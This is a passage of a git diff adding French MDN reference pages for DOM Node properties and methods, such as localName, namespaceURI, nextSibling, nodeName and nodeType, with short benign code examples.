+<pre class="brush:xml line-numbers  language-xml"><code class="language-xml"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span> <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.w3.org/1999/xhtml<span class="punctuation token">"</span></span>
+      <span class="attr-name token"><span class="namespace token">xmlns:</span>svg</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.w3.org/2000/svg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>application/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="cdata token">&lt;![CDATA[
+  function test() {
+    var text = document.getElementById('text');
+    var circle = document.getElementById('circle');
+
+    text.value = "&lt;svg:circle&gt; has:\n" +
+                 "localName = '" + circle.localName + "'\n" +
+                 "namespaceURI = '" + circle.namespaceURI + "'";
+  }
+  ]]&gt;</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span> <span class="attr-name token">onload</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>test()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">svg:</span>svg</span> <span class="attr-name token">version</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>1.1<span class="punctuation token">"</span></span>
+    <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100px<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>100px<span class="punctuation token">"</span></span>
+    <span class="attr-name token">viewBox</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0 0 100 100<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">svg:</span>circle</span> <span class="attr-name token">cx</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>50<span class="punctuation token">"</span></span> <span class="attr-name token">cy</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>50<span class="punctuation token">"</span></span> <span class="attr-name token">r</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>30<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">fill</span><span class="punctuation token">:</span><span class="hexcode token">#aaa</span></span><span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>circle<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">svg:</span>svg</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>textarea</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">rows</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>4<span class="punctuation token">"</span></span> <span class="attr-name token">cols</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>55<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h2 id="Notes" name="Notes"><a id="Notes" name="Notes"></a>Notes</h2>
+
+<p>Le nom local d'un nœud est la partie de son nom qualifié qui suit les deux points. Les noms qualifiés sont typiquement utilisés en XML comme parties des espaces de noms de documents XML particuliers. Par exemple, dans le nom qualifié <code>ecomm:partners</code>, <code>partners</code> est le nom local et <code>ecomm</code> est le préfixe :</p>
+
+<pre>&lt;ecomm:business id="soda_shop" type="brick_n_mortar"&gt;
+  &lt;ecomm:partners&gt;
+    &lt;ecomm:partner id="1001"&gt;Tony's Syrup Warehouse
+    &lt;/ecomm:partner&gt;
+  &lt;/ecomm:partner&gt;
+&lt;/ecomm:business&gt;
+</pre>
+
+<p><span class="comment">Needs to be reworded; right now it's wrong. -Nickolay Le préfixe — dans ce cas « ecomm » — définit l'espace de noms dans lequel le nom local peut être utilisé.</span></p>
+
+<div class="note">
+<p>Dans {{Gecko("1.9.2")}} et antérieurs, la propriété retourne en casse majuscule le nom local pour les éléments HTML dans le DOM HTML (par opposition aux éléments XHTML dans le DOM XML). Dans les versions ultérieures, en conformité avec HTML5, la propriété renvoie dans le cas d'un stockage DOM interne, en casse minuscule pour les éléments HTML dans le DOM HTML et les éléments XHTML dans le DOM XML. La propriété  {{domxref("element.tagName","tagName")}} continue de renvoyer en casse majuscule pour les éléments HTML dans le DOM HTML.</p>
+</div>
+
+<p>Pour les nœuds de tout autre <a href="https://developer.mozilla.org/fr/docs/Web/API/Node/nodeType">type</a> qu'<code>ELEMENT_NODE</code> et <code>ATTRIBUTE_NODE</code>, <code>localName</code> vaut toujours <code>null</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-NodeNSLocalN', 'Node.localName')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-NodeNSLocalN', 'Node.localName')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.localName")}}</p>
+
+<h3 id="Voir_aussi" name="Voir_aussi">Voir aussi</h3>
+
+<ul>
+ <li>{{domxref("Node.namespaceURI")}}</li>
+ <li>{{domxref("Node.prefix")}}</li>
+ <li>{{domxref("Element.localName")}}</li>
+ <li>{{domxref("Attr.localName")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/node/lookupnamespaceuri/index.html b/files/fr/web/api/node/lookupnamespaceuri/index.html
new file mode 100644
index 0000000000..52e72bec1f
--- /dev/null
+++ b/files/fr/web/api/node/lookupnamespaceuri/index.html
@@ -0,0 +1,23 @@
+---
+title: Node.lookupNamespaceURI()
+slug: Web/API/Node/lookupNamespaceURI
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Noeuds
+translation_of: Web/API/Node/lookupNamespaceURI
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <code><strong>Node.lookupNamespaceURI()</strong></code> accepte un préfixe et renvoie l'URI de l'espace de nom associé avec lui sur le noeud donné s'il le trouve (et <code>null</code> sinon). La fourniture de <code>null</code> pour le préfixe renverra l'espace de nom par défaut.</p>
+
+<p>Du fait du <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, cette méthode ne fonctionne pas avec les espaces de noms attribués dynamiquement (c'est-à-dire ceux qui sont définis par <a href="/en/DOM/Node.prefix" title="En/DOM/Node.prefix">Node.prefix</a>).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-lookupNamespaceURI" rel="freelink">http://www.w3.org/TR/DOM-Level-3-Cor...upNamespaceURI</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/node/lookupprefix/index.html b/files/fr/web/api/node/lookupprefix/index.html
new file mode 100644
index 0000000000..968deea85e
--- /dev/null
+++ b/files/fr/web/api/node/lookupprefix/index.html
@@ -0,0 +1,23 @@
+---
+title: Node.lookupPrefix()
+slug: Web/API/Node/lookupPrefix
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Noeuds
+  - Préfixes
+  - URI
+translation_of: Web/API/Node/lookupPrefix
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <code><strong>Node.lookupPrefix()</strong></code> renvoie une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant le préfixe d'un URI d'un espace de nom donné, s'il est présent, et <code>null</code> sinon. Quand plusieurs préfixes sont possibles, le résultat dépend de l'implémentation.</p>
+
+<p>En raison du <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, cette méthode ne fonctionne plus avec les espaces de nom définis dynamiquement, c'est-à-dire ceux qui sont fixés avec la propriété {{domxref("Node.prefix")}}.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-lookupNamespacePrefix" rel="freelink">http://www.w3.org/TR/DOM-Level-3-Cor...amespacePrefix</a></li>
+</ul>
diff --git a/files/fr/web/api/node/namespaceuri/index.html b/files/fr/web/api/node/namespaceuri/index.html
new file mode 100644
index 0000000000..d185da9057
--- /dev/null
+++ b/files/fr/web/api/node/namespaceuri/index.html
@@ -0,0 +1,97 @@
+---
+title: element.namespaceURI
+slug: Web/API/Node/namespaceURI
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/Node/namespaceURI
+---
+<p>{{APIRef("DOM")}}{{obsolete_header}}</p>
+
+<p>La propriété en lecture seule <code><strong>Node.namespaceURI</strong></code> renvoie l'URI d'espace de noms du nœud, ou <code>null</code> si le noeud n'est pas dans un espace de nom. Quand le noeud est un document, elle retourne l'espace de nom XML pour le document courant.</p>
+
+<div class="warning">
+<p>Dans DOM4, cette API a été déplacée de <code>Node</code>  vers les interfaces {{domxref("Element")}} et {{domxref("Attr")}}.</p>
+</div>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>namespace</var> = <var>node</var>.namespaceURI</pre>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<p>Dans cet extrait, on examine les propriétés {{domxref("Node.localName")}} et <code>namespaceURI</code> d'un nœud. Si <code>namespaceURI</code> renvoie l'espace de noms XUL et que <code>localName</code> renvoie « browser » (<em>navigateur</em>), on peut considérer que le nœud est un <code>&lt;browser/&gt;</code> XUL.</p>
+
+<pre>if (node.localName == "browser" &amp;&amp;
+    node.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") {
+  // il s'agit d'un browser XUL
+}
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Il ne s'agit pas d'une valeur calculée qui serait le résultat d'une vérification d'espace de noms basée sur les déclarations visibles. C'est simplement l'URI d'espace de noms donnée à la création.</p>
+
+<p>Dans Firefox 3.5 et antérieurs; l'URI d'espace de nom pour les éléments HTML dans les documents HTML est <code>null</code> . Dans les versions ultérieures, en conformité avec HTML5, il est <code><a class="external external-icon" href="https://www.w3.org/1999/xhtml" rel="freelink">https://www.w3.org/1999/xhtml</a></code> comme en XHTML.{{gecko_minversion_inline("1.9.2")}}</p>
+
+<p>Pour les nœuds de tout autre <a href="https://developer.mozilla.org/fr/docs/Web/API/Node/nodeType">type</a> qu'<code>ELEMENT_NODE</code> et <code>ATTRIBUTE_NODE</code>, la valeur de <code>namespaceURI</code> vaut toujours <code>null</code>.</p>
+
+<p>Il est possible de créer un élément en spécifiant une adresse <code>namespaceURI</code> avec la méthode DOM Level 2 {domxref("Document.createElementNS")}} et les attributs avec la méthode {{domxref("Element.setAttributeNS")}}.</p>
+
+<p>Suivant la spécification <a class="external" href="http://www.w3.org/TR/xml-names11/">Namespaces in XML</a>, un attribut n'hérite pas de son espace de noms depuis l'élément auquel il est attaché. Si un attribut n'a pas reçu explicitement d'espace de noms, il n'en aura aucun.</p>
+
+<p>Le DOM ne gère pas ou n'applique pas la validation de l'espace de noms en soi. Il appartient à l'application DOM de faire toute validation nécessaire. Notez également que le préfixe d'espace de noms, une fois associé à un nœud particulier, ne peut pas être modifié.</p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-NodeNSname", "Node.namespaceURI")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Spécifie le comportement lorsqu'il est défini sur <code>null</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#Namespaces-Considerations", "DOM Level 2 Core: XML Namespaces")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-NodeNSname", "Node.namespaceURI")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.Node.namespaceURI")}}</p>
+</div>
+</div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.localName")}}</li>
+ <li>{{domxref("Node.prefix")}}</li>
+ <li>{{domxref("Element.namespaceURI")}}</li>
+ <li>{{domxref("Attr.namespaceURI")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/node/nextsibling/index.html b/files/fr/web/api/node/nextsibling/index.html
new file mode 100644
index 0000000000..b3e6cf3e7f
--- /dev/null
+++ b/files/fr/web/api/node/nextsibling/index.html
@@ -0,0 +1,83 @@
+---
+title: element.nextSibling
+slug: Web/API/Node/nextSibling
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+translation_of: Web/API/Node/nextSibling
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété en lecture seule  <code><strong>Node.nextSibling</strong></code> renvoie le nœud (<code>node</code>) suivant immédiatement le nœud spécifié dans la liste des enfants ( {{domxref("Node.childNodes","childNodes")}}) de son nœud parent, ou <code>null</code> si le nœud spécifié est le dernier dans cette liste.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>nextNode</var> = <var>node</var>.nextSibling
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p></p><p>Les navigateurs basés sur Gecko insèrent des nœuds texte dans un document pour représenter des espaces
+    vides dans le balisage source. Par conséquent, un nœud obtenu par exemple via <a href="/fr/docs/Web/API/Node/firstChild" title="La propriété en lecture seule Node.firstChild renvoie le premier nœud enfant de l'arbre ou null s'il n'en a pas. Si le noeud est un Document , il renvoie le premier noeud de la liste de ses enfants directs."><code>Node.firstChild</code></a> ou
+    <a href="/fr/docs/Web/API/Node/previousSibling" title='{{APIRef("DOM")}}'><code>Node.previousSibling</code></a> peut faire référence à un nœud texte contenant des espaces plutôt qu'au véritable élément
+    que l'auteur comptait obtenir.</p>
+
+    <p>Consultez <a href="/fr/docs/Gestion_des_espaces_dans_le_DOM">Gestion des espaces dans le DOM</a>
+    et <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener"><i>Why are some Text nodes empty?</i>
+    dans la FAQ DOM 3 du W3C</a> pour plus d'informations.</p><p></p>
+
+<p>{{domxref("Element.nextElementSibling")}} peut être utilisé pour obtenir l'élément suivant en ignorant les noeuds d'espace.</p>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush:html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>div-01<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Here is div-01<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>div-02<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Here is div-02<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+<span class="keyword token">var</span> el <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'div-01'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>nextSibling<span class="punctuation token">,</span>
+    i <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Siblings of div-01:'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">while</span> <span class="punctuation token">(</span>el<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>i <span class="operator token">+</span> <span class="string token">'. '</span> <span class="operator token">+</span> el<span class="punctuation token">.</span>nodeName<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  el <span class="operator token">=</span> el<span class="punctuation token">.</span>nextSibling<span class="punctuation token">;</span>
+  i<span class="operator token">++</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+
+/**************************************************
+  Ce qui suit est écrit sur la console pendant le chargement:
+
+     Siblings of div-01
+
+      1. #text
+      2. DIV
+      3. #text
+      4. SCRIPT
+
+**************************************************/</code></pre>
+
+<p>Dans cet exemple, on peut voir que des nœuds <code>#text</code> sont insérés dans le DOM là où des espaces se trouvent dans le code source entre les balises (c'est-à-dire après la balise de fermeture d'un élément et avant la balise d'ouverture du suivant). Aucun espace n'est créé entre les éléments insérés par l'instruction <code>document.write</code> .</p>
+
+<p>L'inclusion possible de nœuds textes dans le DOM doit être prise en compte pour le parcours du DOM à l'aide de <code>nextSibling</code>. Consultez les ressources dans la section Notes .</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-nextSibling">DOM Level 1 Core: nextSibling</a> <small>— <a class="external" href="http://xmlfr.org/w3c/TR/REC-DOM-Level-1/level-one-core.html#attribute-nextSibling">traduction</a> (non normative)</small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6AC54C2F">DOM Level 2 Core: nextSibling</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2/core/core.html#ID-6AC54C2F">traduction</a> (non normative)</small></li>
+</ul>
+
+<h2 class="noinclude" id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.nextSibling")}}</p>
+
+<h2 class="noinclude" id="Voir_aussi">Voir aussi</h2>
+
+<p>{{domxref("Element.nextElementSibling")}}</p>
diff --git a/files/fr/web/api/node/nodename/index.html b/files/fr/web/api/node/nodename/index.html
new file mode 100644
index 0000000000..da778cda15
--- /dev/null
+++ b/files/fr/web/api/node/nodename/index.html
@@ -0,0 +1,111 @@
+---
+title: element.nodeName
+slug: Web/API/Node/nodeName
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Nom
+  - Propriété
+translation_of: Web/API/Node/nodeName
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La propriété en lecture seule <code><strong>Node.nodeName</strong></code> renvoie le nom du nœud courant dans une chaîne.</p>
+
+<p>Les valeurs retournées pour les différents types de noeuds sont :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Interface</th>
+   <th>Valeur nodeName</th>
+  </tr>
+  <tr>
+   <td>{{domxref("Attr")}}</td>
+   <td>La valeur de {{domxref("Attr.name")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("CDATASection")}}</td>
+   <td><code>"#cdata-section"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Comment")}}</td>
+   <td><code>"#comment"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document")}}</td>
+   <td><code>"#document"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("DocumentFragment")}}</td>
+   <td><code>"#document-fragment"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("DocumentType")}}</td>
+   <td>La valeur de {{domxref("DocumentType.name")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Element")}}</td>
+   <td>La valeur de {{domxref("Element.tagName")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Entity")}}</td>
+   <td>Le nom de l'entité</td>
+  </tr>
+  <tr>
+   <td>{{domxref("EntityReference")}}</td>
+   <td>Le nom de la référence d'entité</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Notation")}}</td>
+   <td>Le nom de notation</td>
+  </tr>
+  <tr>
+   <td>{{domxref("ProcessingInstruction")}}</td>
+   <td>La valeur de {{domxref("ProcessingInstruction.target")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Text")}}</td>
+   <td><code>"#text"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>str</em> = <em>node</em>.nodeName;
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Avec le balisage suivant :</p>
+
+<pre>&lt;div id="d1"&gt;hello world&lt;/div&gt;
+&lt;input type="text" id="t"/&gt;
+</pre>
+
+<p>et le script suivant :</p>
+
+<pre>var div1 = document.getElementById("d1");
+var text_field = document.getElementById("t");
+text_field.value = div1.nodeName;
+</pre>
+
+<p>En XHTML (ou tout autre format XML), la valeur de <code>text_field</code> sera « div ». Cependant, en HTML, la valeur de <code>text_field</code> sera « DIV », parce que <code>nodeName</code> et <code>tagName</code> renvoient en casse majuscule sur les éléments HTML dans les DOM marqués comme des documents HTML. En lire plus <a href="http://ejohn.org/blog/nodename-case-sensitivity/" title="http://ejohn.org/blog/nodename-case-sensitivity/">détails sur la sensibilité à la casse de nodeName dans différents navigateurs</a> (en).</p>
+
+<p>Notez que la propriété <code><a href="fr/DOM/element.tagName">tagName</a></code> aurait pu être uilisée à la place, puisque <code>nodeName</code> a la même valeur que <code>tagName</code> pour un élément. Souvenez vous cependant que <code>nodeName</code> renverra <code>#text</code> pour les nœuds texte tandis que <code>tagName</code> renverra <code>undefined</code>.</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68D095">DOM Level 2 Core: Node.nodeName</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-F68D095">traduction</a> (non normative)</small></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-F68D095">DOM Level 3 Core: Node.nodeName</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.nodeName")}}</p>
diff --git a/files/fr/web/api/node/nodeprincipal/index.html b/files/fr/web/api/node/nodeprincipal/index.html
new file mode 100644
index 0000000000..b1813302bb
--- /dev/null
+++ b/files/fr/web/api/node/nodeprincipal/index.html
@@ -0,0 +1,39 @@
+---
+title: Node.nodePrincipal
+slug: Web/API/Node/nodePrincipal
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Principal
+  - Propriétés
+translation_of: Web/API/Node
+---
+<div>{{APIRef("DOM")}} {{Non-standard_header}}</div>
+
+<p>La propriété en lecture seule <code><strong>Node.nodePrincipal</strong></code> renvoie l'objet {{Interface("nsIPrincipal")}} représentant le contexte de sécurité actuel du noeud.</p>
+
+<p>{{Note("Cette propriété existe sur tous les nœuds (HTML, XUL, SVG, MathML, etc.), mais n'est accessible par le script que s'il possède des privilèges de chrome.")}}</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>principalObj</em> = <em>Node</em>.nodePrincipal
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Un objet <code>nsIPrincipal</code> représentant le contexte de sécurité du noeud.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété est en lecture seule ; tenter d'y écrire lancera une exception. En outre, cette propriété est accessible seulement par le code privilégié.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p>N'existe dans aucune spécification. C'est une propriété propre à Firefox.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Node.nodePrincipal")}}</p>
diff --git a/files/fr/web/api/node/nodetype/index.html b/files/fr/web/api/node/nodetype/index.html
new file mode 100644
index 0000000000..d6f0a4eb2e
--- /dev/null
+++ b/files/fr/web/api/node/nodetype/index.html
@@ -0,0 +1,180 @@
+---
+title: element.nodeType
+slug: Web/API/Node/nodeType
+tags:
+  - API
+  - DOM
+  - Noeuds
+  - Propriétés
+  - Types
+translation_of: Web/API/Node/nodeType
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div>La propriété en lecture seule <code><strong>Node.nodeType</strong></code> représente le type du noeud.</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <strong><code>nodeType</code></strong> peut être utilisée pour distinguer les uns des autres les différents genres de noeuds tels que {{domxref("Element")}}, {{domxref("Text")}} et {{domxref("Comment")}} .</p>
+
+<h2 id="Syntaxe"><font><font>Syntaxe</font></font></h2>
+
+<pre class="syntaxbox"><var><font><font>Type</font></font></var> = <var><font><font>node</font></font></var> .nodeType
+</pre>
+
+<p id="Exemple"><font><font>Renvoie un entier (<em>integer</em>) qui spécifie le type du noeud ; les valeurs possibles sont listées dans </font></font> {{anch("Constantes")}}.</p>
+
+<h2 id="Exemple" name="Exemple"><a id="Constantes" name="Constantes"></a>Constantes</h2>
+
+<h3 id="Exemple" name="Exemple">Constantes de type nœud</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Constante</th>
+   <th scope="col">Valeur</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Node.ELEMENT_NODE</code></td>
+   <td><code>1</code></td>
+   <td>Un noeud {{domxref("Element")}}  tel que {{HTMLElement("p")}} ou {{HTMLElement("div")}}<code>.</code></td>
+  </tr>
+  <tr>
+   <td><code>Node.TEXT_NODE</code></td>
+   <td><code>3</code></td>
+   <td>Le {{domxref("Text")}} actuel de l'{{domxref("Element")}} ou {{domxref("Attr")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.PROCESSING_INSTRUCTION_NODE</code></td>
+   <td><code>7</code></td>
+   <td>Une {{domxref("ProcessingInstruction")}} d'un document XML tel que la déclaration <code>&lt;?xml-stylesheet ... ?&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td><code>Node.COMMENT_NODE</code></td>
+   <td><code>8</code></td>
+   <td>Un noeud {{domxref("Comment")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.DOCUMENT_NODE</code></td>
+   <td><code>9</code></td>
+   <td>Un noeud {{domxref("Document")}}.</td>
+  </tr>
+  <tr>
+   <td><code>Node.DOCUMENT_TYPE_NODE</code></td>
+   <td><code>10</code></td>
+   <td>Un noeud {{domxref("DocumentType")}} c'est-à-dire <code>&lt;!DOCTYPE html&gt;</code> pour des documents HTML5.</td>
+  </tr>
+  <tr>
+   <td><code>Node.DOCUMENT_FRAGMENT_NODE</code></td>
+   <td><code>11</code></td>
+   <td>Un noeud {{domxref("DocumentFragment")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Constantes_de_type_noeud_dépréciées_deprecated_inline()">Constantes de type noeud dépréciées {{deprecated_inline()}}</h3>
+
+<p>Les constantes suivantes ont été dépréciées et ne doivent plus être utilisées.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Constante</td>
